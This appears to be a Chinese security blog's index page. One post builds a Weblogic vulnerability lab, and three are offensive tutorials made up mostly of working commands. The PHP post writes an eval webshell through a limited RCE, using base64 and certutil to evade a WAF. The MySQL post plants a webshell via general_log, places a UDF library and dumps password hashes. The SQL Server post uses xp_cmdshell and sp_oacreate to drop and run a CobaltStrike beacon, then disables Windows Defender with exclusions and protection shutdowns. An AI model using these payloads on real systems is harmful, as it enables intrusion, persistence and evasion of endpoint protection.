首页
关于我
友链
推荐
渊龙Sec安全团队
Search
1
渗透必备:使用Proxifier玩转代理
16,545 阅读
2
对于Spring Boot的渗透姿势
10,530 阅读
3
HaE入门到精通:三条影响你一生的HaE规则
9,913 阅读
4
PHP从零学习到Webshell免杀手册
5,823 阅读
5
2023浙江省大学生网络与信息安全决赛-Misc篇
5,018 阅读
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
登录
Search
标签搜索
技术随笔
技术小记
渗透经验
人生小记
CTF
数据库
年末总结
内网渗透
曾哥
累计撰写
33
篇文章
累计收到
225
条评论
首页
栏目
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
页面
关于我
友链
推荐
渊龙Sec安全团队
搜索到
13
篇与
的结果
2023-01-19
避坑小记:Weblogic漏洞复现环境搭建
0# 什么是Weblogic?WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。根据我的个人经验,国内金融产业(银行)、政府等单位都比较喜欢Weblogic,应用还是相对比较广泛的1# 关于Weblogic搭建在平常的信息安全相关工作、学习过程中,Weblogic的相关漏洞经常会碰到。而Weblogic环境搭建过程很繁琐,并且平常想要进行代码调试、漏洞复现的时候,经常会有搭建各种Weblogic版本和各种JDK版本的排列组合的需求,导致安全研究人员苦不堪言。我早些年也被这个问题搞得焦头烂额,当时我一气之下封装了好几个docker才解决问题,但花了不少精力和世界,有没有一个更优雅的方法解决这个问题呢?最近刚好有两个Weblogic漏洞比较感兴趣,想上手分析一下。正好又看到了奇安信A-Team的Weblogic快速构建项目,这里就上手来试一下,并随手记录一下整个搭建过程。2# 准备工作2.1# 准备工具VMware虚拟机(其他虚拟机也行)CentOS 7镜像(这个快速构建项目只能用CentOS,刚开始我用Ubuntu跑不起来,算是踩坑了)WeblogicEnvironment(奇安信A-Team的Weblogic快速构建项目)对应版本的JDK安装包(看你需求)对应版本的Weblogic安装包(看你需求)2.2# 资源下载方式CentOS镜像下载地址: http://mirrors.aliyun.com/centos/7.9.2009/isos/x86_64/ 下载 CentOS-7-x86_64-DVD-2009.iso 即可,也可以用 CentOS-7-x86_64-DVD-2009.torrent 种子进行下载WeblogicEnvironment: https://github.com/QAX-A-Team/WeblogicEnvironment 直接下载代码即可JDK安装包下载地址: https://www.oracle.com/java/technologies/downloads/archive/ 选择要安装的版本,比如我想要安装JDK7,直接点击对应链接:选择 Linux x64 并下载即可Weblogic安装包下载地址: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html 选择要安装的版本,比如我想要安装 Oracle WebLogic Server 10.3.6,选择 Generic Installer 并下载即可3# 开始搭建Weblogic漏洞复现环境准备工作都完成了,那就开始搭建吧~3.1# 安装CentOS到虚拟机这一步不需要我教你了吧,有问题百度如果需要把CentOS系统语言改为中文,可以参考这篇文章: https://www.cnblogs.com/-zzf/p/16137234.html 换源的话,如果觉得原始源太慢可以选择换源安装VM-Tools,在命令行输入以下命令:sudo yum install -y open-vm-tools sudo yum install -y open-vm-tools-desktop3.2# CentOS安装Docker最好是切换到 root 账户(我怕权限问题)su root在终端执行以下命令:yum install -y docker显示Docker安装完毕,验证一下是否安装正常即可:docker --version或者是这样:yum list installed | grep docker如果想每次在服务器启动后都自动启动 Docker 的话,可以使用以下命令开启:systemctl enable docker3.2# 配置WeblogicEnvironment将刚才准备的WeblogicEnvironment压缩包复制到CentOS并解压:根据项目描述,打开解压后的文件夹,创建两个新文件夹,名字分别是 jdks 和 weblogics然后将准备好的JDK安装包和Weblogic安装包分别放到 jdks 和 weblogics 这两个文件夹里面3.3# 运行WeblogicEnvironment这个项目提供了一键构建Docker镜像的sh脚本,但我们需要修改一下项目文档中也给出了示例:{card-describe title="项目示例代码"}以Weblogic12.1.3配JDK 7u21为例,构建镜像命令如下:docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar -t weblogic12013jdk7u21 .镜像构建完成后,执行以下命令运行:docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic12013jdk7u21 weblogic12013jdk7u21{/card-describe}同样这两行代码也包含在项目的sh脚本中了,我们修改一下sh脚本文件保存即可:接下来给文件夹赋予执行权限:cd /home/demo/WeblogicEnvironment-master //根据项目的位置自行切换 chmod -R 777 ../WeblogicEnvironment-master然后看一下执行权限给了没:cd /home/demo/WeblogicEnvironment-master //根据项目的位置自行切换 ls -l接下来执行脚本即可:./run_weblogic1036jdk7u21.sh //刚才修改的sh脚本名字3.4# 解决报错问题这个时候会报错:Error: Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist{card-describe title="报错解决过程"}首先,进入到 yum 的 repos 目录cd /etc/yum.repos.d/其次,修改相关文件内容:sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*然后,安装 wget:yum install wget –y //如果已经安装了wget就不需要这一步接着,更新 yum 源为阿里源:wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo最后,生成缓存更新(第一次更新,速度稍微有点慢,耐心等待两分钟左右):yum clean all yum makecache验证安装 vim 看有无报错:yum install -y vim最重要的一步,修改项目的 Dockerfile 文件!修改开头内容为:FROM centos FROM centos:centos7注释掉以下内容为:# 解决libnsl包丢失的问题 #RUN yum -y install libnsl{/card-describe}3.5# 成功搭建Weblogic漏洞复现环境再次运行sh脚本即可成功将Docker环境跑起来:访问 虚拟机IP:7001/console/login/LoginForm.jsp 能登录到 Weblogic Server 管理控制台,用户名密码如下:默认用户名:weblogic 默认密码:qaxateam014# 总结搭建一路上还是遇到了不少坑,也卡了挺久的,有时候确实让人很烦躁但技术的学习就是这样,很多时候都是在发现问题、解决问题,只有认真、耐心的去面对并解决问题,才能有相应的成长和收获!同时也希望这篇文章能给各位师傅带来帮助~
2023年01月19日
1,478 阅读
0 评论
13 点赞
2023-01-05
Web系统的RCE漏洞的Getshell姿势
情景描述今天早上在研究一个Web系统的0Day,虽然是个任意命令执行漏洞,但是这个RCE有些局限,就想通过RCE写个WebShell提提权再看看目标系统:Microsoft Windows Server 2019 Standard动态脚本:PHP 5.6GetShell姿势通常我们写入文件,通常都会使用CMD的echo命令echo 文件内容 > "文件名"假如我们要写php一句话的时候,比如:<?php eval($_POST["aabyss"]); ?>这时候有同学就想到这样不就好了:echo <?php eval($_POST["aabyss"]);?> > "webshell.php"但实际上这样是不行的,因为以下特殊符号是无法直接放入echo语句(执行会提示语法错误或者无法写入这些符号):& | > < +所以通常我们会把特殊符号通过^来进行转义,比如这样:echo ^<?php eval($_POST["aabyss"]);?^> > "webshell.php"通常就能写入了难点来了但是我早上尝试的那个0day,语句没办法通过^进行转义,或者写入的流量被WAF拦截,怎么办呢?首先,我想到了通过""双引号进行包含进行写入,比如:echo echo "<?php eval($_POST["aabyss"]);?>" > "webshell.php"文件内容如下:"<?php eval($_POST["aabyss"]);?>"这样虽然能写入& | > < +这些特殊符号,但是代码最外层带了"",实测php代码是无法执行的于是我又想到了Base64编码进行写入,首先对一句话内容进行base编码:于是得到编码后的Base64字符串,如下:PD9waHAgZXZhbCgkX1BPU1RbImFhYnlzcyJdKTsgID8+但是通过上文,我们发现+也是不能写入的,怎么办呢?这时候插入在外部插入一些数字就能简单解决啦:这时候就得到一份做好的Base64字符串:MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy接下来通过echo将Base64字符串写入TXT文件即可:echo MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy > "base64.txt"接下来通过命令进行解密:certutil -f -decode "base64.txt" "webshell.txt"然后将webshell.txt复制为php文件即可大功告成:copy webshell.txt webshell.php其他一些tips对于Linux系统,可以采用系统命令直接解密Base64来写入:echo 'MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy' | base64 -d > webshell.php查看当前目录:cd解密Base64文件到上层目录:certutil -f -decode "base64.txt" "../webshell.txt"将命令输入内容写入文件查看:命令 >> out.txt
2023年01月05日
1,131 阅读
2 评论
17 点赞
2022-12-09
MySQL不出网文件落地上线姿势
MySQL不出网文件落地上线第一步 判断环境1、查看MySQL版本show variables like '%version%'; select version(); #这个只显示MySQL版本号2、查看load_file() 开启即 secure_file_priv 无限制show variables like '%secure%'; #这条可查看详细信息 show global variables like '%secure_file_priv%';Value说明注意NULL不允许导入或导出在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件/var/lib/mysql-files/只允许在 /var/lib/mysql-files/ 目录导入导出在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件空不限制目录 而这个MySQL数据库,只允许在/var/lib/mysql-files/这个目录导入导出3、查看日志功能是否开启和对应目录MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 GetshellSHOW VARIABLES LIKE 'general%';注:general_log 默认是关闭的,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中开启日志功能set global general_log = "ON"; set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑 # 往日志里面写入 WebShell select '<?php @eval($_POST['AabyssTeam']);?>'; # 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现4、寻找插件目录(UDF提权摸排)如果是 MySQL >= 5.1 的版本,必须把 UDF 动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下,才能创建自定义函数动态链接库文件获取在我们常用的工具 SqlMap 和 Metasploit 里面都自带了对应系统的动态链接库文件SqlMap:工具根目录/data/udf/mysql注: SqlMap 自带的动态链接库为防止被误杀,都经过编码处理,不能被直接使用不过可以利用 SqlMap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:工具根目录/extra/cloak/cloak.pyMetasploit:工具根目录/embedded/framework/data/exploits/mysql注:动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为 .dll,在Linux环境下后缀名为 .so接下来的任务是把 UDF 动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询:show variables like '%plugin%';第二步 MySQL提权写入动态链接库写入动态链接库可以分为下面几种情形:存在SQL 注入且是高权限plugin(插件) 目录可写且需要 secure_file_priv 无限制MySQL 插件目录可以被 MySQL 用户写入1、存在SQL注入这个时候就可以直接使用 SqlMap 来上传动态链接库注:因为 GET 有字节长度限制,所以往往使用 POST 注入来写入sqlmap -u "http://Web服务的URL" --data="id=注入点" --file-write="根据本地的文件目录来写/lib_mysqludf_sys_64.so" --file-dest="/usr/lib64/mysql/plugin/(上面探测出来的插件目录)udf.so"2、不存在SQL注入就像我举的例子一样,没有Web服务,只有一个Java应用怎么办?我们可以使用 SQL 语句执行写入,前提是 secure_file_priv 无限制,可以手工写文件到 plugin 目录下# 直接 SELECT 查询十六进制写入 SELECT 0x(通过16进制转换后的动态链接库字符串) INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so'; # 解码十六进制再写入多此一举 SELECT unhex('(通过16进制转换后的动态链接库字符串)') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';当出现这个报错的时候:由于 secure-file-priv 变量的默认设置为 /var/lib/mysql-files/ 引起的,该值意味着只能导出到指定目录下,否则会报错小技巧:获取MySQL账户和对应密码Hash# MySQL <= 5.6 版本 select host, user, password from mysql.user; # MySQL >= 5.7 版本 select host,user,authentication_string from mysql.user;直接丢到在线网站 https://www.cmd5.com/ 解密直接可以解密了密码,解密不出来就用Hashcat跑就行了
2022年12月09日
1,754 阅读
2 评论
7 点赞
2022-12-09
SqlServer不出网文件落地上线姿势
第一步 启用多种命令执行方式为了确保相关命令的正常执行,请先开启高级选项:sp_configure 'show advanced options', 1; GO RECONFIGURE;1、开启xp_cmdshellEXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; //1为开,0为关 RECONFIGURE;执行系统命令模板EXEC master.dbo.xp_cmdshell 'cd C:\\ && dir';被删除如何恢复exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQLServer\MSSQL\Binn\xplog70.dll'2、开启sp_oacreate在执行命令或写入文件时都需要用到 sp_oacreate,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用 “OLE Automation Procedures ” 组件。 如果 xp_cmdshell 组件被删除,也可以利用OLE对象的run方法执行系统命令:主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令exec master.dbo.sp_configure 'show advanced options', 1 RECONFIGURE exec master.dbo.sp_configure 'Ole Automation Procedures', 1 //1为开,0为关 RECONFIGURE执行系统命令模板declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami >C:\Users\Public\Documents\1.txt';注意:此命令执行方法无回显,可以将回显内容写入TXT文件后再查看3、SQL Server 沙盒提权通过开启沙盒模块来执行命令开启:exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;关闭:exec sp_configure 'show advanced option',1;RECONFIGURE; exec sp configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;执行系统命令模板select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")') select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")')注意:当 C:\Windows\System32\ias\dnary.mdb 或 C:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了第二步 判断系统类型和软件判断系统类型我就不用说了吧。。命令执行看一下就知道了重点是判断系统环境(32位还是64位,账户有无权限,有无杀软)EXEC master.dbo.xp_cmdshell 'tasklist';Ctrl+A全选后,Ctrl+C复制一下这里推荐一个网站:https://i.hacking8.com/tiquan将内容复制后点击查询,发现有杀软(需要查清楚后做对应的免杀处理)第三步 处理文件这里需要将要执行的 CobaltStrike Payload 转换为Hex注意:如果在第二步发现有杀软,需要查清楚后做对应的免杀处理免杀过程省略。。。接下来就是用Python将免杀后的exe进行转换#文件名:zhuan.py import binascii filename = 'beacon.exe' with open(filename, 'rb') as f: content = f.read() print(binascii.hexlify(content))使用命令行执行导出#文件名:start.bat python zhuan.py > hex.txt注意:导出后,记得删掉掉最前面的 b' 和最后面的 ' 这两个部分第四步 实现不出网文件落地虽然我在演示的时候,是通过公网的一个站点进行演示的但如果在内网中,有无法外连的服务器被拿下,要如何不出网文件落地,让我们一起看看DECLARE @DATA VARBINARY(MAX) = 0x #加上第三步中转换好的Hex内容 DECLARE @filepath VARCHAR(MAX) = 'C:\\Users\\Public\\Documents\\system_un.exe' DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken SELECT @filepath如果这里有出现一个错误:SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。exec sp_configure 'show advanced options',1 reconfigure EXEC sp_configure 'Ole Automation Procedures',1 //启用OLE自动化功能接下来就可以正常的写入文件了~执行落地的EXE文件(/c是无弹窗静默运行)Exec master..xp_cmdshell "cmd /c C:\\Users\\Public\\Documents\\system_un.exe"接下来就上线成功小技巧附上一些实用的命令行,相信你会用到查看服务器开放的端口netstat -a -n查看系统信息(32位还是64位)systeminfo系统如果是64位的,会在“系统类型”选项后明确标示出“x64-based PC”,否则目标系统就是32位的强制删除文件(支持通配符)可以运行 del /? 来查看命令说明del /F /S /Q C:\inetpub\wwwroot\test.php关于过Windows Defender注意:以下命令都需以管理员权限运行才可成功!!!1、白名单过Windows Defender杀软执行下面命令会分别向Defender添加白名单:目录、进程、类型文件powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Public\Documents" powershell -Command Add-MpPreference -ExclusionProcess "system_un.exe" powershell -Command Add-MpPreference -ExclusionExtension ".exe"2、禁用Windows Defender Antivirus防病毒注意:需管理员权限,且需要先关闭防篡改功能(通过Windows安全应用程序中提供的“病毒和威胁防护”设置来禁用它)powershell Set-MpPreference -DisableRealtimeMonitoring $true执行后,实时防病毒保护将被禁用,直到下次重新启动为止3、Windows Defender功能削弱# 关闭行为监视 powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true" # 禁用IOAV保护,禁止扫描下载的文件和附件 powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true" # 关闭Defender自动更新 powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true" # 禁止扫描.zip等的存档文件 powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true" # 关闭已知漏洞利用防护 powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"4、Windows Defender威胁忽视# 禁止提交样本 powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2" # 指定用于高级威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force" # 指定用于中级威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6" # 指定用于低级威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6" # 指定用于严重威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"5、Windows Defender检测进程排除powershell.exe -command "Add-MpPreference -ExclusionProcess "regsvr32"" powershell.exe -command "Add-MpPreference -ExclusionProcess "regsvr32*"" powershell.exe -command "Add-MpPreference -ExclusionProcess ".exe"" powershell.exe -command "Add-MpPreference -ExclusionProcess "iexplorer.exe"" powershell.exe -command "Add-MpPreference -ExclusionProcess "explorer.exe"" powershell.exe -command "Add-MpPreference -ExclusionProcess ".dll"" powershell.exe -command "Add-MpPreference -ExclusionProcess "*.dll"" powershell.exe -command "Add-MpPreference -ExclusionProcess "*.exe""6、禁止向微软报告安全信息powershell.exe -command "Set-MpPreference -MAPSReporting 0"7、关闭PUA保护powershell.exe -command "Set-MpPreference -PUAProtection disable"8、攻击面减少# 关闭受控文件夹访问 powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"情况:上线失败如果执行命令后,出现这种情况:有两种原因:该目录为不可写目录(不一定一上来就是Administrator管理员账户)落地的EXE文件被系统安装的杀软给查杀了,执行时找不到文件解决方法:写入公共目录,比如我上面举例的 C:\Users\Public\Documents\将EXE处理一下,做成免杀的即可执行
2022年12月09日
1,150 阅读
2 评论
7 点赞
1
2